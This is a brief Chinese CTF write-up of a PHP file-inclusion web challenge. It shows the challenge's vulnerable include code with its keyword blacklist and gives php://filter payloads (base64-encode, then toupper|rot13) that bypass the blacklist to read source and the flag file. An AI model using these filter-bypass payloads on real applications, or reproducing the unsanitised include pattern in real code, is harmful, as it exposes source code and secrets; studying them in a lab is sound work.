0x00 简介
在一次线下ctf中的web题有一道关于php://filter伪协议的利用
0x01题目分析
靶机环境
http://192.168.1.151:88/flag.php 存放flag信息的
http://192.168.1.151:88/index.php 注释中有include1.php
include1代码如下
error_reporting(0);
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00|flag/i', $file) ||
strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )
{
echo "
error!
";
}
else
{
include($file.'.php');
setcookie("tips","include2.php");
}
}
else
{
header('Location:include1.php?file=index');
}?>
发现是个文件包含的题,preg_match中过滤了一些关键字但是可以用以下payload读取
php://filter/read=convert.base64-encode/resource=include2
但是不能直接读取flag.php文件。。被preg_match过滤了
跟进include2.php文件读取查看
<?php error_reporting(0);$file = $_GET["file"];if(isset($file)){ if ( preg_match('/http|data|ftp|input|%00|base/i', $file) ||
strstr($file,"..") !== FALSE || strlen($file)>=100)
{ echo "
error!
";
}
由于preg_match中过滤了base无法再用 php://filter/read=convert.base64-encode/resource=flag
查询php文档
使用以下payload尝试
php://filter/read=string.toupper|string.rot13/resource=flag
成读取flag文件
最后使用str_rot13()函数解码即可
0x02 总结
需要深入了解php伪协议的其他姿势